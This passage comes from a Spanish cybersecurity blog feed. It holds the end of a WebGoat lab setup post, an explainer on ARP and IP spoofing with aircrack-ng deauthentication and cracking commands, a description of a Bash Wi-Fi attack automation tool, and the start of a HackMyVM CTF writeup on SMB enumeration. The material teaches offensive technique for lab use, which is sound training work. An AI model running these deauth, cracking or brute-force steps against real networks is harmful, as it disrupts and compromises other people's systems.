</code></pre></div></div>

<p>En nuestro <strong>/etc/hosts</strong> tendremos que hacer que la IP resuelva al dominio</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  127.0.0.1   entorno.prueba
</code></pre></div></div>

<p>Y en Windows tendremos que ir a <strong>C:\Windows\System32\drivers\etc\hosts</strong> y redirigir la IP al dominio</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  127.0.0.1    entorno.prueba
</code></pre></div></div>

<h2 id="acceso-al-entorno-de-prueba-webgoat">Acceso al entorno de prueba Webgoat</h2>
<p>Una vez realizados todos los pasos, si accedemos a <code class="language-plaintext highlighter-rouge">http://entorno.prueba:8080/WebGoat/login</code>, deberíamos poder ver algo como la imagen</p>

<p><img src="/assets/images/2025-07-12-subsistema_con_entorno_vulnerable/wwebgoat.png" alt="" /></p>

<h1 id="finalización">Finalización</h1>
<p>Espero que hayan aprendido mucho haciendo entorno vulnerable y les haya servido de ayuda mi explicación. Muchas gracias por leer el artículo y no olviden seguirme en <a href="https://github.com/0x832/">GitHub</a>, ya que también iré subiendo herramientas de hacking.</p>]]></content><author><name>0x832</name></author><category term="Entorno vulnerable" /><category term="WSL" /><category term="Webgoat" /><category term="Docker" /><category term="Nginx" /><summary type="html"><![CDATA[Hola a todos. Hoy les presentaré un artículo en el que explicaré cómo crear un subsistema Ubuntu en Windows (WSL) para preparar un entorno de pruebas con WebGoat. Una vez configurado el entorno, también veremos cómo automatizar el servicio para que se inicie automáticamente al acceder al subsistema]]></summary></entry><entry><title type="html">ARP &amp;amp; IP Spoofing: Ataques, Conceptos y Seguridad</title><link href="https://0x832.io/arp-ip-spoofing/" rel="alternate" type="text/html" title="ARP &amp;amp; IP Spoofing: Ataques, Conceptos y Seguridad" /><published>2025-11-23T00:00:00+00:00</published><updated>2025-11-23T00:00:00+00:00</updated><id>https://0x832.io/arp-ip-spoofing</id><content type="html" xml:base="https://0x832.io/arp-ip-spoofing/"><![CDATA[<p><img src="/assets/images/2025-11-23-arp-ip-spoofing/teaser.png" alt="" /></p>

<h1 id="introducción">Introducción</h1>

<p>En este artículo veremos cómo funcionan los ataques basados en ARP Spoofing e IP Spoofing, técnicas de explotación y cómo protegernos. Además, abalremos sobre los protocolos Wi-Fi como TKIP vs AES y herramientas como aircrack-ng</p>

<ul>
  <li><strong>Qué es ARP Spoofing</strong></li>
  <li><strong>Qué es IP Spoofing y cómo se usa en DoS/DDos</strong></li>
  <li><strong>Diferencias entre TKIP y AES en seguridad Wi-Fi</strong></li>
  <li><strong>Herramientas prácticas para auditoría inalámbrica</strong>
<br /></li>
</ul>

<hr />

<h1 id="arp-spoofing">ARP Spoofing</h1>

<p>El ARP Spoofing consiste en <strong>engañar a la red asociando direcciones IP con MAC falsas</strong>.</p>

<blockquote>
  <p><em>Objetivo: Modificar la IP ↔ MAC para interceptar tráfico en una LAN.</em></p>
</blockquote>

<h3 id="características-importantes">Características importantes</h3>

<ul>
  <li>Afecta a <strong>Capa 2 (MAC)</strong> y <strong>Capa 3 (IP)</strong></li>
  <li>ARP <strong>no autentica respuestas</strong></li>
  <li>Cualquier <em>ARP Reply</em> puede almacenarse en caché</li>
  <li>Permite ataques <strong>Man-in-the-Middle</strong>, DoS o sniffing</li>
</ul>

<p>Ejemplo de escenario:</p>

<p>Víctima → (Cree que la MAC del atacante es la puerta de enlace)</p>

<h2 id="herramientas">Herramientas</h2>

<table>
  <thead>
    <tr>
      <th>Herramienta</th>
      <th>Uso</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Ettercap</strong></td>
      <td>Ataques MITM mediante ARP Spoofing</td>
    </tr>
    <tr>
      <td><strong>arpspoof (dsniff)</strong></td>
      <td>Manipulación ARP directa</td>
    </tr>
    <tr>
      <td><strong>Wireshark</strong></td>
      <td>Inspección de tráfico interceptado</td>
    </tr>
  </tbody>
</table>

<hr />

<h1 id="ip-spoofing">IP Spoofing</h1>

<p>El IP Spoofing consiste en <strong>falsificar la dirección IP de origen</strong> en los paquetes enviados, simulando que provienen de una máquina diferente.</p>

<h2 id="objetivos">Objetivos</h2>

<ul>
  <li>Ocultar identidad del atacante</li>
  <li>Realizar ataques DoS y DDoS</li>
  <li>Facilitar ataques MITM en entornos sin control estricto</li>
</ul>

<p>Se aplica en:</p>

<ul>
  <li><strong>Capa 3 – Protocolo IP</strong></li>
  <li>No se valida origen</li>
</ul>

<hr />

<h2 id="cómo-protegernos">Cómo protegernos</h2>

<p><strong>Rate Limiting</strong></p>

<p>Limitar paquetes por IP para evitar saturación:</p>

<p><strong>Prevenir DDoS y análisis de tráfico</strong></p>

<ul>
  <li>Configurar el firewall o dispositivo de la red para limitar la cantidad de paquetes entrrantes por segundo de una IP</li>
</ul>

<hr />

<h1 id="seguridad-wi-fi-tkip-vs-aes">Seguridad Wi-Fi: TKIP vs AES</h1>

<h2 id="tkip-temporal-key-integrity-protocol">TKIP (Temporal Key Integrity Protocol)</h2>

<ul>
  <li>Introducido como sustitución temporal de WEP</li>
  <li>Hoy en día es  <strong>inseguro</strong></li>
</ul>

<h2 id="aes-advanced-encryption-standard">AES (Advanced Encryption Standard)</h2>

<ul>
  <li>Algoritmo moderno de cifrado</li>
  <li>Base de <strong>WPA2 y WPA3</strong></li>
  <li>Mucho más seguro que el TKIP</li>
</ul>

<hr />

<h1 id="herramientas-wi-fi-aircrack-ng">Herramientas Wi-Fi (Aircrack-ng)</h1>

<table>
  <thead>
    <tr>
      <th>Herramienta</th>
      <th>Función principal</th>
      <th>Ejemplo</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>airmon-ng</strong></td>
      <td>Activar modo monitor</td>
      <td><code class="language-plaintext highlighter-rouge">airmon-ng start wlan0</code></td>
    </tr>
    <tr>
      <td><strong>airodump-ng</strong></td>
      <td>Captura tráfico Wi-Fi</td>
      <td><code class="language-plaintext highlighter-rouge">airodump-ng -w captura wlan0mon</code></td>
    </tr>
    <tr>
      <td><strong>aireplay-ng</strong></td>
      <td>Inyección / deauth</td>
      <td><code class="language-plaintext highlighter-rouge">aireplay-ng -0 200 -e ESSID -c MAC wlan0mon</code></td>
    </tr>
    <tr>
      <td><strong>aircrack-ng</strong></td>
      <td>Ataque por diccionario</td>
      <td><code class="language-plaintext highlighter-rouge">aircrack-ng -w wordlist captura.cap</code></td>
    </tr>
  </tbody>
</table>

<hr />

<h1 id="hasta-aquí-llega-nuestro-artículo-explicativo-sobre-cómo-crear-commandcontrol">Hasta aquí llega nuestro artículo explicativo sobre cómo crear Command&amp;control.</h1>

<p>Espero que les haya servido la explicación y que haya sido clara. No olviden seguirme en <a href="https://github.com/0x832/">GitHub</a>, ya que iré subiendo más artículos sobre ciberseguridad.</p>]]></content><author><name>0x832</name></author><category term="Redes" /><category term="Pentesting" /><category term="ARP" /><category term="IP Spoofing" /><category term="MiTM" /><category term="Wi-Fi" /><category term="Cracking" /><category term="Aircrack-ng2025-11-23-arp-ip-spoofing" /><summary type="html"><![CDATA[En este artículo veremos cómo funcionan los ataques basados en ARP Spoofing e IP Spoofing, técnicas de explotación y cómo protegernos. Además, abalremos sobre los protocolos Wi-Fi como TKIP vs AES y herramientas como aircrack-ng.]]></summary></entry><entry><title type="html">Evil IntrudeR - Bash Script para Auditoría Wi-Fi</title><link href="https://0x832.io/Evil-Intruder-bash-scripting/" rel="alternate" type="text/html" title="Evil IntrudeR - Bash Script para Auditoría Wi-Fi" /><published>2025-11-11T00:00:00+00:00</published><updated>2025-11-11T00:00:00+00:00</updated><id>https://0x832.io/Evil-Intruder-bash-scripting</id><content type="html" xml:base="https://0x832.io/Evil-Intruder-bash-scripting/"><![CDATA[<p><img src="/assets/images/2025-11-11-Evil-Intruder-python-scripting/evil-intruder.png" alt="" /></p>

<h1 id="introducción">Introducción</h1>

<p>Hoy presentaré el análisis de una herramienta que desarrollé en Bash para automatizar tareas de auditoría Wi-Fi con airmon-ng, macchanger, john y cowpatty. Explicaré de forma breve cómo funciona esta herramienta y sus funciones</p>

<p>Este script reúne y automatiza herramientas como:</p>

<ul>
  <li><strong>airmon-ng</strong> → Activar modo monitor.</li>
  <li><strong>airodump-ng</strong> → Captura de tráfico.</li>
  <li><strong>aireplay-ng</strong> → Pruebas de desautenticación.</li>
  <li><strong>macchanger</strong> → Cambio de MAC.</li>
  <li><strong>tshark</strong> → Análisis de tráfico DNS/HTTP.</li>
  <li><strong>airdecap-ng</strong> → Descifrado de capturas WPA/WPA2.</li>
  <li><strong>cowpatty / genpmk / john / aircrack-ng</strong> → Ataques de diccionario sobre handshakes.</li>
</ul>

<p><strong>Aviso ético:</strong> Todo lo que se explica debe realizarse exclusivamente en entornos controlados (laboratorios, CTFs) y con autorización. El objetivo es aprender cómo funcionan estas técnicas, no aplicarlas de forma indebida.</p>

<hr />

<h2 id="reconocimiento-del-script">Reconocimiento del Script</h2>

<p>Estructura general del programa:</p>

<ul>
  <li><strong>Menú interactivo</strong> con opciones numeradas.</li>
  <li><strong>Comprobación de privilegios</strong> (<code class="language-plaintext highlighter-rouge">root()</code>).</li>
  <li><strong>Funciones modulares</strong> para cada tarea (activar modo monitor, escaneo, análisis, etc.).</li>
  <li><strong>Automatización</strong> de comandos complejos para reducir errores.</li>
</ul>

<p>El flujo principal está en la función <code class="language-plaintext highlighter-rouge">main()</code>, que coordina la ejecución según la opción elegida.</p>

<hr />

<h2 id="funciones-clave-y-herramientas-automatizadas">Funciones Clave y Herramientas Automatizadas</h2>

<h3 id="1-root">1. <strong>root()</strong></h3>
<p>Comprueba si el usuario tiene permisos de superusuario (<code class="language-plaintext highlighter-rouge">EUID</code>).</p>
<ul>
  <li>Herramientas como <code class="language-plaintext highlighter-rouge">airmon-ng</code> necesitan acceso al hardware.</li>
  <li>Por eso, si no somos root, la herramienta lo solicita.</li>
</ul>

<hr />

<h3 id="2-inicio">2. <strong>inicio()</strong></h3>
<p>Presenta un menú con opciones como:</p>
<ul>
  <li>Activar modo monitor.</li>
  <li>Escanear redes.</li>
  <li>Ejecutar ataques simulados.</li>
  <li>Analizar capturas.</li>
</ul>

<p><strong>Automatización:</strong><br />
Gracias a este menú evitamos escribir comandos manualmente y reducimos errores al trabajar.</p>

<hr />

<h2 id="3-modo_monitor1-y-activar_modo_monitor">3. <strong>modo_monitor1() y activar_modo_monitor()</strong></h2>
<p>Activa el <strong>modo monitor</strong> en la tarjeta de red mediante <code class="language-plaintext highlighter-rouge">airmon-ng</code>.<br />
Opcionalmente permite cambiar la MAC con <code class="language-plaintext highlighter-rouge">macchanger</code>.</p>

<p><strong>Concepto de ciberseguridad:</strong></p>
<ul>
  <li>El modo monitor sirve para capturar tráfico inalámbrico.</li>
  <li>Cambiar la MAC ayuda a mantener anonimato durante pruebas.</li>
</ul>

<hr />

<h2 id="4-scan_wifis3-y-scan_wifi_en_concreto4">4. <strong>scan_wifis3() y scan_wifi_en_concreto4()</strong></h2>
<p>Automatiza <code class="language-plaintext highlighter-rouge">airodump-ng</code> para:</p>
<ul>
  <li>Escanear todas las redes cercanas.</li>
  <li>Capturar tráfico de una red concreta (BSSID/ESSID + canal).</li>
</ul>

<hr />

<h2 id="5-ataque_beacon_flood5">5. <strong>Ataque_Beacon_Flood5()</strong></h2>
<p>Genera múltiples AP falsos con <code class="language-plaintext highlighter-rouge">mdk3</code>.</p>

<p><strong>Objetivo:</strong></p>
<ul>
  <li>Analizar ataques de denegación de servicio en Wi-Fi.</li>
  <li>Sobrecargar el canal hasta provocar saturación en las redes del entorno.</li>
</ul>

<hr />

<h2 id="6-expultar_a_la_gente6">6. <strong>expultar_a_la_gente6()</strong></h2>
<p>Simula desautenticación mediante <code class="language-plaintext highlighter-rouge">aireplay-ng</code>.</p>

<p>Esta función permite expulsar temporalmente a usuarios de una red para capturar el handshake.</p>

<hr />

<h2 id="7-brutal_force7">7. <strong>brutal_force7()</strong></h2>
<p>Integra varias herramientas:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">aircrack-ng</code>, <code class="language-plaintext highlighter-rouge">john</code>, <code class="language-plaintext highlighter-rouge">cowpatty</code>, <code class="language-plaintext highlighter-rouge">genpmk</code>.</li>
</ul>

<p><strong>Propósito:</strong></p>
<ul>
  <li>Auditar contraseñas débiles en entornos controlados.</li>
</ul>

<hr />

<h2 id="8-analisi_de_captura">8. <strong>analisi_De_captura()</strong></h2>
<p>Descifra tráfico con <code class="language-plaintext highlighter-rouge">airdecap-ng</code> y analiza DNS/HTTP con <code class="language-plaintext highlighter-rouge">tshark</code>.</p>

<p>Permite evaluar riesgos en redes con cifrado débil o mal configurado.</p>

<hr />

<h2 id="herramientas-automatizadas-y-su-rol">Herramientas Automatizadas y su Rol</h2>

<table>
  <thead>
    <tr>
      <th>Herramienta</th>
      <th>Función principal</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>airmon-ng</strong></td>
      <td>Activar/desactivar modo monitor</td>
    </tr>
    <tr>
      <td><strong>airodump-ng</strong></td>
      <td>Captura de tráfico Wi-Fi</td>
    </tr>
    <tr>
      <td><strong>aireplay-ng</strong></td>
      <td>Inyección de paquetes (desautenticación)</td>
    </tr>
    <tr>
      <td><strong>macchanger</strong></td>
      <td>Cambio de dirección MAC</td>
    </tr>
    <tr>
      <td><strong>aircrack-ng</strong></td>
      <td>Ataque de diccionario sobre handshakes WPA/WPA2</td>
    </tr>
    <tr>
      <td><strong>cowpatty</strong></td>
      <td>Fuerza bruta con PMK</td>
    </tr>
    <tr>
      <td><strong>genpmk</strong></td>
      <td>Generación de diccionarios precomputados</td>
    </tr>
    <tr>
      <td><strong>john</strong></td>
      <td>Cracking avanzado de hashes WPA</td>
    </tr>
    <tr>
      <td><strong>tshark</strong></td>
      <td>Análisis de tráfico DNS/HTTP</td>
    </tr>
    <tr>
      <td><strong>airdecap-ng</strong></td>
      <td>Descifrado de capturas</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="buenas-prácticas-y-defensa">Buenas prácticas y defensa</h2>

<ul>
  <li><strong>WPA3</strong> y contraseñas robustas.</li>
  <li>Deshabilitar <strong>WPS</strong>.</li>
  <li>Implementar <strong>IDS/IPS</strong> para redes inalámbricas.</li>
  <li>Cifrado DNS y uso estricto de <strong>HTTPS</strong>.</li>
</ul>

<hr />

<h2 id="finalización">Finalización</h2>

<p>Espero que hayan aprendido mucho y que esta explicación les haya servido para entender mejor cómo se puede comprometer una red Wi-Fi en un entorno controlado. Muchas gracias por leer el artículo, y no olviden seguirme en Github. no obstante si quieren descargar mi tool les dejó aquí el acceso directo 
<a href="https://github.com/0x832/Evil-Intruder">evil-intruder</a>: además iré subiendo resoluciones de máquinas de HTB, TryHackMe y más herramientas que vaya desarrollando.</p>]]></content><author><name>0x832</name></author><category term="Pentesting" /><category term="Bash" /><category term="Ciberseguridad" /><category term="Auditoría Wi-Fi" /><category term="Bash" /><category term="Automatización" /><summary type="html"><![CDATA[Hoy presentaré el análisis de una herramienta que desarrollé en Bash para automatizar tareas de auditoría Wi-Fi con airmon-ng, macchanger, john y cowpatty. Explicaré de forma breve cómo funciona esta herramienta y sus funciones.]]></summary></entry><entry><title type="html">Liar (Windows) Writeup</title><link href="https://0x832.io/HakckMyVM-Lia-easy/" rel="alternate" type="text/html" title="Liar (Windows) Writeup" /><published>2025-04-12T00:00:00+00:00</published><updated>2025-04-12T00:00:00+00:00</updated><id>https://0x832.io/HakckMyVM-Lia-easy</id><content type="html" xml:base="https://0x832.io/HakckMyVM-Lia-easy/"><![CDATA[<p><img src="/assets/images/2025-04-13-HackMyVM-Lia-easy/2.png" alt="" /></p>

<p>Hola a todos, hoy les presentaré la resolución de una máquina HackMyVM de dificultad Easy. En esta máquina aprenderemos a enumerar y explotar el servicio SMB, y también a utilizar WinRM para obtener acceso remoto en el sistema Windows, una vez que tengamos las credenciales correctas.
<br /></p>

<h2 id="reconocimiento-de-la-red-local">Reconocimiento de la Red Local</h2>

<p>El primer paso será enumerar los dispositivos de la red para encontrar la máquina vulnerable.</p>

<p>En este caso usaremos <strong>arp-scan</strong> con <code class="language-plaintext highlighter-rouge">-I</code> especificaremos la interfaz que queremos escanear y con el <code class="language-plaintext highlighter-rouge">ignoredups</code> ignoraremos las entradas duplicadas . Tambien con <code class="language-plaintext highlighter-rouge">2&gt;/dev/null</code> mandaremos los errores al <code class="language-plaintext highlighter-rouge">/dev/null</code> para que no sean visibles en la terminal. Por ultimo filtraremos por la mac que tenga <code class="language-plaintext highlighter-rouge">08:00:27</code> ya que este tipo de MAC son de la interfaz de red utilizadas por máquinas virtuales.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
  <span class="err">└─</span><span class="c1"># arp-scan -I eth2 --localnet --ignoredups 2&gt;/dev/null | grep '08:00:27'      </span>

  <span class="no">Interface</span><span class="p">:</span> <span class="n">eth2</span><span class="p">,</span> <span class="ss">type: </span><span class="no">EN10MB</span><span class="p">,</span> <span class="no">MAC</span><span class="p">:</span> <span class="mi">08</span><span class="p">:</span><span class="mo">00</span><span class="p">:</span><span class="mi">27</span><span class="ss">:db</span><span class="p">:</span><span class="mi">40</span><span class="p">:</span><span class="mi">5</span><span class="n">e</span><span class="p">,</span> <span class="no">IPv4</span><span class="p">:</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.101</span>
  <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.100</span>  <span class="mi">08</span><span class="p">:</span><span class="mo">00</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="mi">5</span><span class="n">d</span><span class="p">:</span><span class="mo">05</span><span class="ss">:f2</span>       <span class="p">(</span><span class="no">Unknown</span><span class="p">)</span>
  <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">08</span><span class="p">:</span><span class="mo">00</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="mi">53</span><span class="ss">:f6</span><span class="p">:</span><span class="mi">85</span>       <span class="p">(</span><span class="no">Unknown</span><span class="p">)</span>

</code></pre></div></div>

<h1 id="reconocimiento">Reconocimiento</h1>
<ul>
  <li>
    <p>Enumeración con nmap
  Hacemos un <code class="language-plaintext highlighter-rouge">nmap</code> simple para ver los puertos que corren en la máquina</p>

    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">#nmap -p- -sS --min-rate 5000 -T5 -Pn -vvv -oN ports.txt 192.168.56.102</span>
    <span class="no">Warning</span><span class="p">:</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span> <span class="n">giving</span> <span class="n">up</span> <span class="n">on</span> <span class="n">port</span> <span class="n">because</span> <span class="n">retransmission</span> <span class="n">cap</span> <span class="n">hit</span> <span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">.</span>
    <span class="no">Increasing</span> <span class="nb">send</span> <span class="n">delay</span> <span class="k">for</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span> <span class="n">from</span> <span class="mi">0</span> <span class="n">to</span> <span class="mi">5</span> <span class="n">due</span> <span class="n">to</span> <span class="mi">10452</span> <span class="n">out</span> <span class="n">of</span> <span class="mi">26129</span> <span class="n">dropped</span> <span class="n">probes</span> <span class="n">since</span> <span class="n">last</span> <span class="n">increase</span><span class="o">.</span>
    <span class="no">Nmap</span> <span class="nb">scan</span> <span class="n">report</span> <span class="k">for</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>
    <span class="no">Host</span> <span class="n">is</span> <span class="n">up</span><span class="p">,</span> <span class="n">received</span> <span class="n">arp</span><span class="o">-</span><span class="n">response</span> <span class="p">(</span><span class="mf">0.0018</span><span class="n">s</span> <span class="n">latency</span><span class="p">)</span><span class="o">.</span>
    <span class="no">Scanned</span> <span class="n">at</span> <span class="mi">2025</span><span class="o">-</span><span class="mo">04</span><span class="o">-</span><span class="mi">13</span> <span class="mi">13</span><span class="p">:</span><span class="mi">34</span><span class="p">:</span><span class="mi">49</span> <span class="no">CEST</span> <span class="k">for</span> <span class="mi">30</span><span class="n">s</span>
    <span class="no">Not</span> <span class="ss">shown: </span><span class="mi">60297</span> <span class="n">closed</span> <span class="n">tcp</span> <span class="n">ports</span> <span class="p">(</span><span class="n">reset</span><span class="p">),</span> <span class="mi">5226</span> <span class="n">filtered</span> <span class="n">tcp</span> <span class="n">ports</span> <span class="p">(</span><span class="n">no</span><span class="o">-</span><span class="n">response</span><span class="p">)</span>
    <span class="no">PORT</span>      <span class="no">STATE</span> <span class="no">SERVICE</span>      <span class="no">REASON</span>
    <span class="mi">80</span><span class="o">/</span><span class="n">tcp</span>    <span class="nb">open</span>  <span class="n">http</span>         <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">135</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">msrpc</span>        <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">139</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">netbios</span><span class="o">-</span><span class="n">ssn</span>  <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">445</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">microsoft</span><span class="o">-</span><span class="n">ds</span> <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">5985</span><span class="o">/</span><span class="n">tcp</span>  <span class="nb">open</span>  <span class="n">wsman</span>        <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">47001</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">winrm</span>        <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">49664</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">unknown</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">49665</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">unknown</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">49666</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">unknown</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">49667</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">unknown</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">49668</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">unknown</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="mi">49671</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">unknown</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">128</span>
    <span class="no">MAC</span> <span class="no">Address</span><span class="p">:</span> <span class="mi">08</span><span class="p">:</span><span class="mo">00</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="mi">53</span><span class="ss">:F6</span><span class="p">:</span><span class="mi">85</span> <span class="p">(</span><span class="no">Oracle</span> <span class="no">VirtualBox</span> <span class="n">virtual</span> <span class="no">NIC</span><span class="p">)</span>

    <span class="no">Read</span> <span class="n">data</span> <span class="n">files</span> <span class="ss">from: </span><span class="sr">/usr/</span><span class="n">bin</span><span class="o">/..</span><span class="sr">/share/nm</span><span class="n">ap</span>
</code></pre></div>    </div>
    <p>En este caso podemos ver bastantes puertos , pero los que más nos llaman la atención son el</p>
    <div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="mi">80</span>	<span class="no">HTTP</span>	<span class="no">Servicio</span> <span class="n">web</span>
    <span class="mi">135</span>	<span class="no">MSRPC</span>	<span class="no">Llamadas</span> <span class="n">remotas</span>
    <span class="mi">139</span>	<span class="no">NetBIOS</span> <span class="no">Servicio</span> <span class="n">de</span> <span class="n">sesiones</span>
    <span class="mi">445</span>	<span class="no">SMB</span>	<span class="no">Compartici</span><span class="err">ó</span><span class="n">n</span> <span class="n">de</span> <span class="n">archivos</span>
    <span class="mi">5985</span>	<span class="no">WinRM</span>	<span class="no">PowerShell</span> <span class="n">remoto</span> <span class="n">v</span><span class="err">í</span><span class="n">a</span> <span class="no">HTTP</span>
    <span class="mi">47001</span>	<span class="no">WinRM</span> <span class="p">(</span><span class="no">HTTPS</span><span class="p">)</span>	<span class="no">PowerShell</span> <span class="n">remoto</span> <span class="n">v</span><span class="err">í</span><span class="n">a</span> <span class="no">HTTPS</span>
</code></pre></div>    </div>
  </li>
</ul>

<h1 id="ahora-accedemos-a-la-web-para-poder-determinar-qué-tipo-de-vulnerabilidades-podemos-encontrar">Ahora accedemos a la web para poder determinar qué tipo de vulnerabilidades podemos encontrar</h1>
<p>Vemos que hay algo que nos llama la atención <strong>nica</strong> (un usuario) 
  <img src="/assets/images/2025-04-13-HackMyVM-Lia-easy/1.png" alt="Untitled" /></p>

<h2 id="reconocimiento-smb">Reconocimiento SMB</h2>

<p>Ya que tenemos el SMB habilitado podemos intentar hacer un ataque de fuerza bruta en el servidor SMB ya que tenemos un usuario posiblemente valido</p>

<p>Primero haremos un reconocimiento para ver a qué nos enfrentamos</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─</span><span class="c1"># creackmapexec smb 192.168.56.102</span>
      <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="no">Windows</span> <span class="mi">10</span> <span class="o">/</span> <span class="no">Server</span> <span class="mi">2019</span> <span class="no">Build</span> <span class="mi">17763</span> <span class="n">x64</span> <span class="p">(</span><span class="nb">name</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">domain</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">signing</span><span class="ss">:False</span><span class="p">)</span> <span class="p">(</span><span class="no">SMBv1</span><span class="ss">:False</span><span class="p">)</span>

</code></pre></div></div>
<p>Podemos observar cosas bastante interesantes como:</p>

<p><strong>WIN-IURF14RBVGV</strong>	Nombre del host de la máquina (NetBIOS name).</p>

<p><strong>(domain:WIN-IURF14RBVGV)</strong> No pertenece a un dominio externo, solo a su propio grupo de trabajo.</p>

<p><strong>(signing:false)</strong>	La firma de paquetes SMB está desactivada, lo cual nos permite hacer, Fuerza bruta, Pass-the-Hash…</p>

<h2 id="intento-de-session-nula-smb">Intento de session nula SMB</h2>

<p>Podríamos intentar listar recursos con una sesión nula</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─</span><span class="c1"># crackmapexec smb 192.168.56.102 -u null -p '' --shares</span>
      <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="no">Windows</span> <span class="mi">10</span> <span class="o">/</span> <span class="no">Server</span> <span class="mi">2019</span> <span class="no">Build</span> <span class="mi">17763</span> <span class="n">x64</span> <span class="p">(</span><span class="nb">name</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">domain</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">signing</span><span class="ss">:False</span><span class="p">)</span> <span class="p">(</span><span class="no">SMBv1</span><span class="ss">:False</span><span class="p">)</span>

    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="ss">null: </span><span class="no">STATUS_LOGON_FAILURE</span>
</code></pre></div></div>
<p>Por lo que podemos observar, listar recusos con session <strong>nula</strong> no deja</p>

<h2 id="fuerza-bruta-al-recurso-smb-con-el-usuario-nica">Fuerza bruta al recurso SMB con el usuario “nica”</h2>

